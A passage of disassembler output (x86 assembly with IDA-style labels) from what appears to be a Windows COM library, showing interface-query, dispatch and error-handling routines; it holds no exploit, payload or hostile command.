sub dword ptr [esp+4], 1Ch
jmp sub_69B533E0
; ---------------------------------------------------------------------------
loc_69B5469A: ; DATA XREF: .text:69B2850Co
sub dword ptr [esp+4], 4
jmp sub_69B543F4
; ---------------------------------------------------------------------------
loc_69B546A4: ; DATA XREF: .text:69B28510o
sub dword ptr [esp+4], 4
jmp sub_69B54442
; ---------------------------------------------------------------------------
loc_69B546AE: ; DATA XREF: .text:69B2840Co
sub dword ptr [esp+4], 20h
jmp sub_69B533E0
; ---------------------------------------------------------------------------
loc_69B546B8: ; DATA XREF: .text:69B28354o
sub dword ptr [esp+4], 24h
jmp sub_69B533E0
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B546C2 proc near ; DATA XREF: .text:off_69B127E0o
var_10 = byte ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
call dword_69B92948
test eax, eax
mov [ebp+var_4], eax
jnz short loc_69B546DC
mov eax, 80004005h
jmp short locret_69B5473C
; ---------------------------------------------------------------------------
loc_69B546DC: ; CODE XREF: sub_69B546C2+11j
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
lea ecx, [ebx+4]
call sub_69B87FDC
push eax
push [ebp+var_4]
lea ecx, [ebp+var_10]
call sub_69B1A8C7
mov esi, [ebp+arg_4]
push 4
pop ecx
mov edi, offset dword_69B2AFD0
xor eax, eax
repe cmpsd
jnz short loc_69B54716
mov eax, [ebp+arg_8]
mov [eax], ebx
mov eax, [ebx]
push ebx
call dword ptr [eax+4]
xor esi, esi
jmp short loc_69B54726
; ---------------------------------------------------------------------------
loc_69B54716: ; CODE XREF: sub_69B546C2+43j
push [ebp+arg_8]
mov ebx, [ebx+24h]
push [ebp+arg_4]
mov eax, [ebx]
push ebx
call dword ptr [eax]
mov esi, eax
loc_69B54726: ; CODE XREF: sub_69B546C2+52j
lea ecx, [ebp+var_10]
call sub_69B1976C
push [ebp+var_4]
call dword_69B92944
pop edi
mov eax, esi
pop esi
pop ebx
locret_69B5473C: ; CODE XREF: sub_69B546C2+18j
leave
retn 0Ch
sub_69B546C2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B54740 proc near ; CODE XREF: sub_69B407EC+5Ap
; sub_69B547EE+9p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push ebx
mov ebx, [ebp+arg_0]
push esi
mov esi, ecx
push edi
lea edi, [esi+8]
mov eax, [edi]
test eax, eax
jz short loc_69B547C6
mov edx, [ebx]
push eax
mov ecx, ebx
call dword ptr [edx+8]
test al, al
jnz short loc_69B547C6
cmp dword ptr [esi+4], 0
jz short loc_69B547AE
push dword ptr [esi]
mov eax, [ebx]
mov ecx, ebx
call dword ptr [eax+8]
test al, al
jz short loc_69B54781
mov eax, [esi]
mov [edi], eax
mov eax, [esi+4]
jmp short loc_69B547CE
; ---------------------------------------------------------------------------
loc_69B54781: ; CODE XREF: sub_69B54740+36j
cmp dword ptr [esi+4], 0
jz short loc_69B547AE
mov eax, [ebx]
and [ebp+arg_0], 0
lea ecx, [ebp+arg_0]
push ecx
mov ecx, ebx
call dword ptr [eax+4]
test eax, eax
jz short loc_69B547AE
push 0
push 0C00CE217h
push 80004005h
call sub_69B2E9D0
add esp, 0Ch
loc_69B547AE: ; CODE XREF: sub_69B54740+29j
; sub_69B54740+45j ...
and dword ptr [esi], 0
push 0
loc_69B547B3: ; CODE XREF: sub_69B54740+ACj
add esi, 4
push esi
call sub_69B17320
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
loc_69B547C6: ; CODE XREF: sub_69B54740+17j
; sub_69B54740+23j
mov eax, [ebx]
push edi
mov ecx, ebx
call dword ptr [eax+4]
loc_69B547CE: ; CODE XREF: sub_69B54740+3Fj
test eax, eax
mov [ebp+var_4], eax
jz short loc_69B547AE
push eax
lea eax, [esi+0Ch]
push eax
call sub_69B17320
mov eax, [edi]
mov [esi], eax
mov eax, [ebx]
push esi
mov ecx, ebx
call dword ptr [eax+4]
push eax
jmp short loc_69B547B3
sub_69B54740 endp
; =============== S U B R O U T I N E =======================================
sub_69B547EE proc near ; CODE XREF: sub_69B54806+6Fp
; sub_69B5491C+55p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
mov edi, [esi]
push esi
call sub_69B54740
push eax
mov ecx, esi
call dword ptr [edi]
pop edi
pop esi
retn 4
sub_69B547EE endp
; =============== S U B R O U T I N E =======================================
sub_69B54806 proc near ; DATA XREF: .text:69B127ECo
push 28h
push offset dword_69B54910
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
test eax, eax
jnz short loc_69B54829
mov eax, 80004005h
jmp loc_69B54901
; ---------------------------------------------------------------------------
loc_69B54829: ; CODE XREF: sub_69B54806+17j
mov esi, [ebp+8]
lea ecx, [esi+4]
call sub_69B87FDC
push eax
push dword ptr [ebp-1Ch]
lea ecx, [ebp-28h]
call sub_69B1A8C7
and dword ptr [ebp-2Ch], 0
push dword ptr [esi+28h]
lea ecx, [ebp-30h]
call sub_69B1986C
mov edi, [ebp+10h]
test edi, edi
jnz short loc_69B5485F
mov dword ptr [ebp-34h], 80070057h
jmp short loc_69B548D3
; ---------------------------------------------------------------------------
loc_69B5485F: ; CODE XREF: sub_69B54806+4Ej
and dword ptr [ebp-4], 0
mov ebx, VariantInit
loc_69B54869: ; CODE XREF: sub_69B54806+95j
cmp dword ptr [ebp+0Ch], 0
jbe short loc_69B548A8
push dword ptr [esi+20h]
lea ecx, [esi+10h]
call sub_69B547EE
mov [ebp-38h], eax
push edi ; pvarg
test eax, eax
jz short loc_69B5489D
call ebx ; VariantInit
mov word ptr [edi], 9
mov eax, [ebp-38h]
mov [edi+8], eax
add edi, 10h
mov [ebp+10h], edi
inc dword ptr [ebp-2Ch]
dec dword ptr [ebp+0Ch]
jmp short loc_69B54869
; ---------------------------------------------------------------------------
loc_69B5489D: ; CODE XREF: sub_69B54806+7Aj
call ebx ; VariantInit
mov dword ptr [ebp-34h], 1
jmp short loc_69B548CF
; ---------------------------------------------------------------------------
loc_69B548A8: ; CODE XREF: sub_69B54806+67j
and dword ptr [ebp-34h], 0
jmp short loc_69B548CF
; ---------------------------------------------------------------------------
loc_69B548AE: ; DATA XREF: .text:69B54914o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B548B7: ; DATA XREF: .text:69B54918o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov [ebp-34h], eax
loc_69B548CF: ; CODE XREF: sub_69B54806+A0j
; sub_69B54806+A6j
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B548D3: ; CODE XREF: sub_69B54806+57j
mov eax, [ebp+14h]
test eax, eax
jz short loc_69B548DF
mov ecx, [ebp-2Ch]
mov [eax], ecx
loc_69B548DF: ; CODE XREF: sub_69B54806+D2j
lea ecx, [ebp-30h]
call sub_69B1948C
lea ecx, [ebp-28h]
call sub_69B1976C
cmp dword ptr [ebp-1Ch], 0
jz short loc_69B548FE
push dword ptr [ebp-1Ch]
call dword_69B92944
loc_69B548FE: ; CODE XREF: sub_69B54806+EDj
mov eax, [ebp-34h]
loc_69B54901: ; CODE XREF: sub_69B54806+1Ej
call sub_69B1853C
retn 10h
sub_69B54806 endp
; ---------------------------------------------------------------------------
align 10h
dword_69B54910 dd 0FFFFFFFFh dd offset loc_69B548AE
dd offset loc_69B548B7
; =============== S U B R O U T I N E =======================================
sub_69B5491C proc near ; DATA XREF: .text:69B127F0o
push 20h
push offset dword_69B549E0
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor edi, edi
cmp eax, edi
jnz short loc_69B54941
mov eax, 80004005h
jmp loc_69B549D4
; ---------------------------------------------------------------------------
loc_69B54941: ; CODE XREF: sub_69B5491C+19j
mov esi, [ebp+8]
lea ecx, [esi+4]
call sub_69B87FDC
push eax
push dword ptr [ebp-1Ch]
lea ecx, [ebp-28h]
call sub_69B1A8C7
push dword ptr [esi+28h]
lea ecx, [ebp-2Ch]
call sub_69B1986C
mov [ebp-4], edi
loc_69B54966: ; CODE XREF: sub_69B5491C+6Aj
cmp [ebp+0Ch], edi
jbe short loc_69B54988
push dword ptr [esi+20h]
lea ecx, [esi+10h]
call sub_69B547EE
test eax, eax
jnz short loc_69B54983
mov dword ptr [ebp-30h], 1
jmp short loc_69B549AE
; ---------------------------------------------------------------------------
loc_69B54983: ; CODE XREF: sub_69B5491C+5Cj
dec dword ptr [ebp+0Ch]
jmp short loc_69B54966
; ---------------------------------------------------------------------------
loc_69B54988: ; CODE XREF: sub_69B5491C+4Dj
mov [ebp-30h], edi
jmp short loc_69B549AE
; ---------------------------------------------------------------------------
loc_69B5498D: ; DATA XREF: .text:69B549E4o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B54996: ; DATA XREF: .text:69B549E8o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov [ebp-30h], eax
loc_69B549AE: ; CODE XREF: sub_69B5491C+65j
; sub_69B5491C+6Fj
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-2Ch]
call sub_69B1948C
lea ecx, [ebp-28h]
call sub_69B1976C
cmp dword ptr [ebp-1Ch], 0
jz short loc_69B549D1
push dword ptr [ebp-1Ch]
call dword_69B92944
loc_69B549D1: ; CODE XREF: sub_69B5491C+AAj
mov eax, [ebp-30h]
loc_69B549D4: ; CODE XREF: sub_69B5491C+20j
call sub_69B1853C
retn 8
sub_69B5491C endp
; ---------------------------------------------------------------------------
align 10h
dword_69B549E0 dd 0FFFFFFFFh dd offset loc_69B5498D
dd offset loc_69B54996
; =============== S U B R O U T I N E =======================================
sub_69B549EC proc near ; CODE XREF: sub_69B54B0B+3p
push ebx
push esi
push edi
mov esi, ecx
push 0
lea edi, [esi+20h]
push edi
mov dword ptr [esi-4], offset off_69B127E0
mov dword ptr [esi], offset off_69B28A60
call sub_69B17320
push 0
lea ebx, [esi+24h]
push ebx
call sub_69B17320
push ebx
call sub_69B17230
push edi
call sub_69B17230
lea ecx, [esi+0Ch]
call sub_69B42764
pop edi
pop esi
pop ebx
jmp sub_69B2C65C
sub_69B549EC endp
; =============== S U B R O U T I N E =======================================
sub_69B54A30 proc near ; DATA XREF: .text:69B127F8o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov eax, [eax+20h]
push [esp+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+0Ch]
retn 8
sub_69B54A30 endp
; =============== S U B R O U T I N E =======================================
sub_69B54A44 proc near ; DATA XREF: .text:69B127F4o
push 18h
push offset dword_69B54AD0
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor edi, edi
cmp eax, edi
jnz short loc_69B54A66
mov eax, 80004005h
jmp short loc_69B54AC1
; ---------------------------------------------------------------------------
loc_69B54A66: ; CODE XREF: sub_69B54A44+19j
mov esi, [ebp+8]
lea ecx, [esi+4]
call sub_69B87FDC
push eax
push dword ptr [ebp-1Ch]
lea ecx, [ebp-28h]
call sub_69B1A8C7
mov [ebp-4], edi
lea ecx, [esi+10h]
call sub_69B42674
jmp short loc_69B54AAA
; ---------------------------------------------------------------------------
loc_69B54A8A: ; DATA XREF: .text:69B54AD4o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B54A93: ; DATA XREF: .text:69B54AD8o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov edi, eax
loc_69B54AAA: ; CODE XREF: sub_69B54A44+44j
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, edi
loc_69B54AC1: ; CODE XREF: sub_69B54A44+20j
call sub_69B1853C
retn 4
sub_69B54A44 endp
; ---------------------------------------------------------------------------
align 10h
dword_69B54AD0 dd 0FFFFFFFFh dd offset loc_69B54A8A
dd offset loc_69B54A93
; =============== S U B R O U T I N E =======================================
sub_69B54ADC proc near ; CODE XREF: sub_69B54B2A+Ep
push esi
mov esi, ecx
call sub_69B3C17F
xor eax, eax
mov dword ptr [esi], offset off_69B127E0
mov dword ptr [esi+4], offset off_69B28A60
lea ecx, [esi+10h]
mov [ecx+4], eax
mov [ecx+0Ch], eax
mov [esi+24h], eax
mov [esi+28h], eax
call sub_69B42674
mov eax, esi
pop esi
retn
sub_69B54ADC endp
; =============== S U B R O U T I N E =======================================
sub_69B54B0B proc near ; DATA XREF: .text:off_69B28A60o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B549EC
test [esp+4+arg_0], 1
jz short loc_69B54B23
lea eax, [esi-4]
push eax
call sub_69B1B2B7
loc_69B54B23: ; CODE XREF: sub_69B54B0B+Dj
lea eax, [esi-4]
pop esi
retn 4
sub_69B54B0B endp
; =============== S U B R O U T I N E =======================================
sub_69B54B2A proc near ; CODE XREF: sub_69B408BC+65p
; sub_69B45514+86p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push 2Ch
call sub_69B1D897
test eax, eax
jz short loc_69B54B41
mov ecx, eax
call sub_69B54ADC
mov esi, eax
jmp short loc_69B54B43
; ---------------------------------------------------------------------------
loc_69B54B41: ; CODE XREF: sub_69B54B2A+Aj
xor esi, esi
loc_69B54B43: ; CODE XREF: sub_69B54B2A+15j
push [esp+4+arg_0]
lea eax, [esi+24h]
push eax
call sub_69B17320
mov eax, [esp+4+arg_4]
push [esp+4+arg_8]
mov [esi+20h], eax
lea eax, [esi+28h]
push eax
call sub_69B17320
mov eax, esi
pop esi
retn 0Ch
sub_69B54B2A endp
; =============== S U B R O U T I N E =======================================
sub_69B54B6A proc near ; CODE XREF: sub_69B55AD3+7Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push [esp+4+arg_4]
mov esi, ecx
push [esp+8+arg_0]
lea ecx, [esi+8]
call sub_69B1A8C7
push 0
push [esp+8+arg_8]
mov ecx, esi
push [esp+0Ch+arg_0]
call sub_69B4639C
mov eax, esi
pop esi
retn 0Ch
sub_69B54B6A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B54B94 proc near ; DATA XREF: .data:69B99630o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = byte ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
cmp eax, 53h
push ebx
push esi
push edi
jg loc_69B54CED
jz loc_69B54CD8
cmp eax, 0FFFFFFFCh
jz loc_69B54CC3
test eax, eax
jz loc_69B54C8A
cmp eax, 4Ah
jz loc_69B54C75
cmp eax, 4Ch
jz loc_69B54C60
cmp eax, 4Dh
jz short loc_69B54C52
cmp eax, 51h
jz short loc_69B54C1A
cmp eax, 52h
jnz loc_69B54D05
test [ebp+arg_C], 2
jz short loc_69B54BFD
mov edx, [ebp+arg_10]
mov eax, [ebp+arg_0]
mov ecx, [eax]
add edx, 8
push edx
push eax
call dword ptr [ecx+38h]
jmp loc_69B54DAA
; ---------------------------------------------------------------------------
loc_69B54BFD: ; CODE XREF: sub_69B54B94+52j
mov eax, [ebp+arg_8]
test byte ptr [eax+1], 40h
mov eax, [eax+8]
jz short loc_69B54C0B
mov eax, [eax]
loc_69B54C0B: ; CODE XREF: sub_69B54B94+73j
mov ecx, [ebp+arg_0]
mov edx, [ecx]
push eax
push ecx
call dword ptr [edx+3Ch]
jmp loc_69B54DAA
; ---------------------------------------------------------------------------
loc_69B54C1A: ; CODE XREF: sub_69B54B94+43j
test [ebp+arg_C], 2
jz short loc_69B54C35
mov edx, [ebp+arg_10]
mov eax, [ebp+arg_0]
mov ecx, [eax]
add edx, 8
push edx
push eax
call dword ptr [ecx+30h]
jmp loc_69B54DAA
; ---------------------------------------------------------------------------
loc_69B54C35: ; CODE XREF: sub_69B54B94+8Aj
mov eax, [ebp+arg_8]
test byte ptr [eax+1], 40h
mov eax, [eax+8]
jz short loc_69B54C43
mov eax, [eax]
loc_69B54C43: ; CODE XREF: sub_69B54B94+ABj
mov ecx, [ebp+arg_0]
mov edx, [ecx]
push eax
push ecx
call dword ptr [edx+34h]
jmp loc_69B54DAA
; ---------------------------------------------------------------------------
loc_69B54C52: ; CODE XREF: sub_69B54B94+3Ej
mov eax, [ebp+arg_0]
mov ecx, [eax]
push eax
call dword ptr [ecx+28h]
jmp loc_69B54DAA
; ---------------------------------------------------------------------------
loc_69B54C60: ; CODE XREF: sub_69B54B94+35j
mov edx, [ebp+arg_10]
mov eax, [ebp+arg_0]
mov ecx, [eax]
add edx, 8
push edx
push eax
call dword ptr [ecx+24h]
jmp loc_69B54DAA
; ---------------------------------------------------------------------------
loc_69B54C75: ; CODE XREF: sub_69B54B94+2Cj
mov edx, [ebp+arg_10]
mov eax, [ebp+arg_0]
mov ecx, [eax]
add edx, 8
push edx
push eax
call dword ptr [ecx+20h]
jmp loc_69B54DAA
; ---------------------------------------------------------------------------
loc_69B54C8A: ; CODE XREF: sub_69B54B94+23j
cmp [ebp+arg_14], 1
jz short loc_69B54C9A
mov eax, 8002000Eh
jmp loc_69B54DAA
; ---------------------------------------------------------------------------
loc_69B54C9A: ; CODE XREF: sub_69B54B94+FAj
mov eax, [ebp+arg_8]
test byte ptr [eax+1], 40h
jz short loc_69B54CAA
mov eax, [eax+8]
mov ecx, [eax]
jmp short loc_69B54CAD
; ---------------------------------------------------------------------------
loc_69B54CAA: ; CODE XREF: sub_69B54B94+10Dj
mov ecx, [eax+8]
loc_69B54CAD: ; CODE XREF: sub_69B54B94+114j
mov esi, [ebp+arg_10]
mov eax, [ebp+arg_0]
mov edx, [eax]
add esi, 8
push esi
push ecx
push eax
call dword ptr [edx+1Ch]
jmp loc_69B54DAA
; ---------------------------------------------------------------------------
loc_69B54CC3: ; CODE XREF: sub_69B54B94+1Bj
mov edx, [ebp+arg_10]
mov eax, [ebp+arg_0]
mov ecx, [eax]
add edx, 8
push edx
push eax
call dword ptr [ecx+2Ch]
jmp loc_69B54DAA
; ---------------------------------------------------------------------------
loc_69B54CD8: ; CODE XREF: sub_69B54B94+12j
mov edx, [ebp+arg_10]
mov eax, [ebp+arg_0]
mov ecx, [eax]
add edx, 8
push edx
push eax
call dword ptr [ecx+40h]
jmp loc_69B54DAA
; ---------------------------------------------------------------------------
loc_69B54CED: ; CODE XREF: sub_69B54B94+Cj
sub eax, 54h
jz loc_69B54D86
dec eax
jz short loc_69B54D74
dec eax
jz short loc_69B54D69
dec eax
jz short loc_69B54D57
dec eax
jz short loc_69B54D3A
dec eax
jz short loc_69B54D0F
loc_69B54D05: ; CODE XREF: sub_69B54B94+48j
mov eax, 80020003h
jmp loc_69B54DAA
; ---------------------------------------------------------------------------
loc_69B54D0F: ; CODE XREF: sub_69B54B94+16Fj
mov eax, [ebp+arg_8]
test byte ptr [eax+1], 40h
jz short loc_69B54D1F
mov ecx, [eax+8]
mov edx, [ecx]
jmp short loc_69B54D22
; ---------------------------------------------------------------------------
loc_69B54D1F: ; CODE XREF: sub_69B54B94+182j
mov edx, [eax+8]
loc_69B54D22: ; CODE XREF: sub_69B54B94+189j
mov ecx, [ebp+arg_0]
mov ebx, [ecx]
sub esp, 10h
mov edi, esp
lea esi, [eax+18h]
movsd
movsd
movsd
push edx
push ecx
movsd
call dword ptr [ebx+58h]
jmp short loc_69B54DAA
; ---------------------------------------------------------------------------
loc_69B54D3A: ; CODE XREF: sub_69B54B94+16Cj
mov eax, [ebp+arg_8]
test byte ptr [eax+1], 40h
mov eax, [eax+8]
jz short loc_69B54D48
mov eax, [eax]
loc_69B54D48: ; CODE XREF: sub_69B54B94+1B0j
push [ebp+arg_10]
mov ecx, [ebp+arg_0]
mov edx, [ecx]
push eax
push ecx
call dword ptr [edx+54h]
jmp short loc_69B54DAA
; ---------------------------------------------------------------------------
loc_69B54D57: ; CODE XREF: sub_69B54B94+169j
mov edx, [ebp+arg_10]
mov eax, [ebp+arg_0]
mov ecx, [eax]
add edx, 8
push edx
push eax
call dword ptr [ecx+50h]
jmp short loc_69B54DAA
; ---------------------------------------------------------------------------
loc_69B54D69: ; CODE XREF: sub_69B54B94+166j
mov eax, [ebp+arg_0]
mov ecx, [eax]
push eax
call dword ptr [ecx+4Ch]
jmp short loc_69B54DAA
; ---------------------------------------------------------------------------
loc_69B54D74: ; CODE XREF: sub_69B54B94+163j
mov edx, [ebp+arg_10]
mov eax, [ebp+arg_0]
mov ecx, [eax]
add edx, 8
push edx
push eax
call dword ptr [ecx+48h]
jmp short loc_69B54DAA
; ---------------------------------------------------------------------------
loc_69B54D86: ; CODE XREF: sub_69B54B94+15Cj
mov eax, [ebp+arg_8]
test byte ptr [eax+1], 40h
jz short loc_69B54D96
mov eax, [eax+8]
mov ecx, [eax]
jmp short loc_69B54D99
; ---------------------------------------------------------------------------
loc_69B54D96: ; CODE XREF: sub_69B54B94+1F9j
mov ecx, [eax+8]
loc_69B54D99: ; CODE XREF: sub_69B54B94+200j
mov esi, [ebp+arg_10]
mov eax, [ebp+arg_0]
mov edx, [eax]
add esi, 8
push esi
push ecx
push eax
call dword ptr [edx+44h]
loc_69B54DAA: ; CODE XREF: sub_69B54B94+64j
; sub_69B54B94+81j ...
pop edi
pop esi
pop ebx
pop ebp
retn 18h
sub_69B54B94 endp
; =============== S U B R O U T I N E =======================================
sub_69B54DB1 proc near ; DATA XREF: .text:69B125D0o
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
or dword ptr [eax+30h], 0FFFFFFFFh
xor eax, eax
retn 4
sub_69B54DB1 endp
; =============== S U B R O U T I N E =======================================
sub_69B54DBE proc near ; CODE XREF: sub_69B550DC+56p
; sub_69B5518C+B7p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
test eax, eax
jz short loc_69B54DDE
push [esp+arg_4]
mov ecx, [eax]
push offset dword_69B25E54
push eax
call dword ptr [ecx]
push eax
call sub_69B8861E
xor eax, eax
jmp short locret_69B54DE8
; ---------------------------------------------------------------------------
loc_69B54DDE: ; CODE XREF: sub_69B54DBE+6j
mov eax, [esp+arg_4]
and dword ptr [eax], 0
xor eax, eax
inc eax
locret_69B54DE8: ; CODE XREF: sub_69B54DBE+1Ej
retn 8
sub_69B54DBE endp
; =============== S U B R O U T I N E =======================================
sub_69B54DEB proc near ; CODE XREF: sub_69B55483+55p
; sub_69B5553C+58p ...
push esi
mov esi, ecx
mov ecx, [esi+28h]
call sub_69B8A208
or dword ptr [esi+30h], 0FFFFFFFFh
mov byte ptr [esi+2Ch], 0
pop esi
retn
sub_69B54DEB endp
; =============== S U B R O U T I N E =======================================
sub_69B54E00 proc near ; CODE XREF: .text:69B43A72j
; .text:69B43A7Cj ...
push 20h
push offset dword_69B54F68
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
test eax, eax
jnz short loc_69B54E23
mov eax, 80004005h
jmp loc_69B54F3D
; ---------------------------------------------------------------------------
loc_69B54E23: ; CODE XREF: sub_69B54E00+17j
mov ebx, [ebp+8]
lea ecx, [ebx+0Ch]
call sub_69B87FDC
push eax
push dword ptr [ebp-1Ch]
lea ecx, [ebp-28h]
call sub_69B1A8C7
and dword ptr [ebp-2Ch], 0
and dword ptr [ebp-4], 0
push 4
pop ecx
mov edi, offset stru_69B1CA6C
mov edx, [ebp+0Ch]
mov esi, edx
xor eax, eax
repe cmpsd
jz loc_69B54EF7
push 4
pop ecx
mov edi, offset dword_69B2AFE0
mov esi, edx
xor eax, eax
repe cmpsd
jz loc_69B54EF7
push 4
pop ecx
mov edi, offset dword_69B25E04
mov esi, edx
xor eax, eax
repe cmpsd
jz short loc_69B54EF7
push 4
pop ecx
mov edi, offset dword_69B54F48
mov esi, edx
xor eax, eax
repe cmpsd
jnz short loc_69B54E97
mov eax, [ebx+24h]
mov [ebp-30h], eax
test eax, eax
jnz short loc_69B54EF7
loc_69B54E97: ; CODE XREF: sub_69B54E00+8Bj
push 4
pop ecx
mov edi, offset dword_69B2AFD0
mov esi, edx
xor eax, eax
repe cmpsd
jnz short loc_69B54EB2
mov eax, [ebx]
push dword ptr [ebp+10h]
push ebx
call dword ptr [eax+2Ch]
jmp short loc_69B54F22
; ---------------------------------------------------------------------------
loc_69B54EB2: ; CODE XREF: sub_69B54E00+A5j
push 4
pop ecx
mov edi, offset dword_69B2B050
mov esi, edx
xor eax, eax
repe cmpsd
jnz short loc_69B54ECD
mov eax, [ebx]
push ebx
call dword ptr [eax+4]
add ebx, 18h
jmp short loc_69B54EFD
; ---------------------------------------------------------------------------
loc_69B54ECD: ; CODE XREF: sub_69B54E00+C0j
push 4
pop ecx
mov edi, offset dword_69B54F58
mov esi, edx
xor eax, eax
repe cmpsd
jnz short loc_69B54EE8
mov eax, [ebx]
push ebx
call dword ptr [eax+4]
add ebx, 20h
jmp short loc_69B54EFD
; ---------------------------------------------------------------------------
loc_69B54EE8: ; CODE XREF: sub_69B54E00+DBj
mov eax, [ebp+10h]
and dword ptr [eax], 0
mov dword ptr [ebp-2Ch], 80004002h
jmp short loc_69B54F25
; ---------------------------------------------------------------------------
loc_69B54EF7: ; CODE XREF: sub_69B54E00+53j
; sub_69B54E00+67j ...
mov eax, [ebx]
push ebx
call dword ptr [eax+4]
loc_69B54EFD: ; CODE XREF: sub_69B54E00+CBj
; sub_69B54E00+E6j
mov eax, [ebp+10h]
mov [eax], ebx
jmp short loc_69B54F25
; ---------------------------------------------------------------------------
loc_69B54F04: ; DATA XREF: .text:69B54F6Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B54F0D: ; DATA XREF: .text:69B54F70o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
loc_69B54F22: ; CODE XREF: sub_69B54E00+B0j
mov [ebp-2Ch], eax
loc_69B54F25: ; CODE XREF: sub_69B54E00+F5j
; sub_69B54E00+102j
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-2Ch]
loc_69B54F3D: ; CODE XREF: sub_69B54E00+1Ej
call sub_69B1853C
retn 0Ch
sub_69B54E00 endp
; ---------------------------------------------------------------------------
align 4
dword_69B54F48 dd 0AA634FC7h, 44A75888h, 473A57A2h, 0E3A0D15h ; .data:off_69B99614o
dword_69B54F58 dd 0C94AFC70h, 11D37C36h, 0C0006295h, 58215C4Fh
; DATA XREF: sub_69B54E00+D0o
dword_69B54F68 dd 0FFFFFFFFh dd offset loc_69B54F04
dd offset loc_69B54F0D
; =============== S U B R O U T I N E =======================================
sub_69B54F74 proc near ; CODE XREF: sub_69B43A81+5j
; DATA XREF: .text:69B125D4o
push 1Ch
push offset dword_69B55018
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor ebx, ebx
cmp eax, ebx
jnz short loc_69B54F96
mov eax, 80004005h
jmp short loc_69B5500A
; ---------------------------------------------------------------------------
loc_69B54F96: ; CODE XREF: sub_69B54F74+19j
mov esi, [ebp+8]
lea ecx, [esi+0Ch]
call sub_69B87FDC
push eax
push dword ptr [ebp-1Ch]
lea ecx, [ebp-28h]
call sub_69B1A8C7
mov edi, [ebp+0Ch]
cmp edi, ebx
jnz short loc_69B54FBB
mov ebx, 80070057h
jmp short loc_69B54FF7
; ---------------------------------------------------------------------------
loc_69B54FBB: ; CODE XREF: sub_69B54F74+3Ej
mov [ebp-4], ebx
mov eax, [esi+34h]
mov [ebp-2Ch], eax
push eax
lea eax, [esi+1Ch]
push eax
push esi
call sub_69B54B2A
mov [edi], eax
jmp short loc_69B54FF3
; ---------------------------------------------------------------------------
loc_69B54FD3: ; DATA XREF: .text:69B5501Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B54FDC: ; DATA XREF: .text:69B55020o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov ebx, eax
loc_69B54FF3: ; CODE XREF: sub_69B54F74+5Dj
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B54FF7: ; CODE XREF: sub_69B54F74+45j
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, ebx
loc_69B5500A: ; CODE XREF: sub_69B54F74+20j
call sub_69B1853C
retn 8
sub_69B54F74 endp
; ---------------------------------------------------------------------------
align 8
dword_69B55018 dd 0FFFFFFFFh dd offset loc_69B54FD3
dd offset loc_69B54FDC
; =============== S U B R O U T I N E =======================================
sub_69B55024 proc near ; DATA XREF: .text:69B125D8o
push 20h
push offset dword_69B550D0
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor ebx, ebx
cmp eax, ebx
jnz short loc_69B55046
mov eax, 80004005h
jmp short loc_69B550C1
; ---------------------------------------------------------------------------
loc_69B55046: ; CODE XREF: sub_69B55024+19j
mov esi, [ebp+8]
lea ecx, [esi+0Ch]
call sub_69B87FDC
push eax
push dword ptr [ebp-1Ch]
lea ecx, [ebp-28h]
call sub_69B1A8C7
